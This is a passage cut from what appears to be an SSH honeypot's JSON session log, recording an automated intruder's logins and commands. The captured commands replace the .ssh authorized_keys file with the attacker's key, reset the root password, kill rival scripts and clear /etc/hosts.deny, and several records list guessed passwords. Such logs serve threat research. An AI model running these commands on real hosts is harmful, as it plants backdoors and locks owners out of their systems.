-l"},{"seq":15,"at":"2026-08-27T11:37:06.435533+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:37:07.187858+00:00","kind":"output","latency_ms":null,"data":" 11:37:07 up 7 days, 8:27, 0 user, load average: 0.08, 0.1, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:37:07.488687+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:37:08.317288+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:37:08.617942+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:37:09.300743+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:37:09.602769+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:37:10.382816+00:00","kind":"output","latency_ms":null,"data":"top - 11:37:10 up 7 days, 8:27, 0 user, load average: 0.08, 0.1, 0.09\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:37:10.684551+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:37:11.417522+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:37:11.718769+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:37:12.382555+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:37:12.685532+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:37:13.473516+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":29,"at":"2026-08-27T11:37:13.775258+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:37:15.059489+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:37:15.361396+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:37:16.647022+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"123qweasdzxc","method":"password","accepted":true,"tier":"other"}]} {"id":"a113cc95-582b-4d2c-814c-e29448ae829b","name":"lanky-civil-mallard","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":46048,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:36:57.295595+00:00","ended_at":"2026-08-27T11:36:59.200707+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"869d2462-044d-45f2-b29e-c414c442f332","name":"rapid-fearless-blackbird","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":46044,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:36:55.202655+00:00","ended_at":"2026-08-27T11:36:56.700372+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0ee2dc75-00d8-44cb-bb80-f67c2bde8732","name":"shaded-thawing-panther","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":52936,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":304,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:35:12.681924+00:00","ended_at":"2026-08-27T11:35:14.122034+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2128,"events":[{"seq":1,"at":"2026-08-27T11:34:52.033895+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:34:52.336201+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:34:57.486577+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:34:57.926058+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:34:58.229380+00:00","kind":"input","latency_ms":null,"data":"echo \"root:uUOdmXdEOu0Q\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:34:58.532244+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:34:58.836668+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:34:59.683134+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:34:59.988127+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:35:01.366119+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:35:01.668997+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:35:03.008881+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:35:03.314941+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:35:03.943455+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:35:04.248000+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:35:05.028352+00:00","kind":"output","latency_ms":null,"data":" 11:35:05 up 7 days, 8:25, 0 user, load average: 0.28, 0.21, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:35:05.331216+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:35:05.789754+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:35:06.094763+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:35:06.357925+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:35:06.662100+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:35:07.478587+00:00","kind":"output","latency_ms":null,"data":"top - 11:35:07 up 7 days, 8:25, 0 user, load average: 0.28, 0.21, 0.31\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:35:07.783100+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:35:08.607445+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:35:08.910808+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:35:09.557227+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:35:09.858908+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:35:10.758340+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:35:11.060261+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:35:12.379094+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:35:12.682664+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:35:14.032108+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456Cc","method":"password","accepted":true,"tier":"other"}]} {"id":"e0a19585-c39f-4eee-b233-1154fde4c862","name":"verdant-ancient-bowerbird","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":40176,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:34:55.467089+00:00","ended_at":"2026-08-27T11:34:57.398548+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0bb78e4b-048c-4272-af62-d25eb97e7c14","name":"deft-dusty-addax","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":52958,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:34:53.014665+00:00","ended_at":"2026-08-27T11:34:54.867534+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1000f9a7-5a10-4144-8b34-43e7dbc7b374","name":"emerald-regal-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":57586,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:33:13.248082+00:00","ended_at":"2026-08-27T11:33:14.551311+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T11:32:57.340135+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:32:57.639004+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:33:02.605200+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:33:02.605595+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:33:02.900061+00:00","kind":"input","latency_ms":null,"data":"echo \"root:UvYDsZT3a5VP\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:33:03.194621+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:33:03.490920+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:33:03.491754+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:33:03.788178+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:33:04.290152+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:33:04.587571+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:33:05.181117+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:33:05.480917+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:33:05.481450+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:33:05.779782+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:33:05.780323+00:00","kind":"output","latency_ms":null,"data":" 11:33:05 up 7 days, 8:23, 0 user, load average: 0.19, 0.19, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:33:06.075250+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:33:06.620724+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:33:06.914801+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:33:07.658658+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:33:07.954997+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:33:08.782006+00:00","kind":"output","latency_ms":null,"data":"top - 11:33:08 up 7 days, 8:23, 0 user, load average: 0.19, 0.19, 0.16\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:33:09.077151+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:33:09.492215+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:33:09.787537+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:33:10.542828+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:33:10.839741+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:33:11.288238+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:33:11.583993+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:33:12.953361+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:33:13.248863+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:33:14.464209+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"welcome@2024","method":"password","accepted":true,"tier":"other"}]} {"id":"a33b073d-e5b5-4e37-b92a-13b90f60a6ad","name":"blunt-indigo-crane","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":57600,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:33:00.577684+00:00","ended_at":"2026-08-27T11:33:02.517894+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"efc61219-6a70-42e2-9b0f-c9740f542228","name":"supple-thrifty-stork","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":57592,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:32:58.307104+00:00","ended_at":"2026-08-27T11:32:59.999582+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"05ba90af-81c7-4248-812c-218af65de5d7","name":"rambling-kindly-ferret","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":54726,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:31:08.652883+00:00","ended_at":"2026-08-27T11:31:09.337804+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2106,"events":[{"seq":1,"at":"2026-08-27T11:30:58.252569+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:30:58.546290+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:31:02.467609+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:31:02.468447+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:31:02.765177+00:00","kind":"input","latency_ms":null,"data":"echo \"root:0k4FzJAr61FJ\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:31:03.066510+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:31:03.364443+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:31:03.364811+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:31:03.665837+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:31:04.191857+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:31:04.495119+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:31:05.051434+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:31:05.353382+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:31:05.353945+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:31:05.654191+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:31:05.654706+00:00","kind":"output","latency_ms":null,"data":" 11:31:05 up 7 days, 8:21, 0 user, load average: 0.19, 0.21, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:31:05.954634+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:31:05.955079+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:31:06.256097+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:31:06.256548+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:31:06.557101+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:31:06.559016+00:00","kind":"output","latency_ms":null,"data":"top - 11:31:06 up 7 days, 8:21, 0 user, load average: 0.19, 0.21, 0.16\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:31:06.858010+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:31:06.858363+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:31:07.158664+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:31:07.159175+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:31:07.460671+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:31:07.461628+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:31:07.761868+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:31:08.346920+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:31:08.653721+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:31:09.246257+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"11223311","method":"password","accepted":true,"tier":"other"}]} {"id":"11960049-fa9f-4335-8f37-0819ef80d3a8","name":"sleepy-icy-elk","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":54750,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:31:01.296865+00:00","ended_at":"2026-08-27T11:31:02.379085+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"94ad2b72-55ba-474e-8fef-811ea28f63bc","name":"languid-dapper-pochard","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":54734,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:30:59.202551+00:00","ended_at":"2026-08-27T11:31:00.694143+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7338cb8b-e99c-4638-9e23-187ab0939eab","name":"northern-granite-heron","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":47946,"username":"yf","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":293,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:28:57.550615+00:00","ended_at":"2026-08-27T11:28:58.161223+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2032,"events":[{"seq":1,"at":"2026-08-27T11:28:47.044669+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:28:47.338300+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:28:51.525785+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:28:51.526286+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:28:51.820156+00:00","kind":"input","latency_ms":null,"data":"echo -e 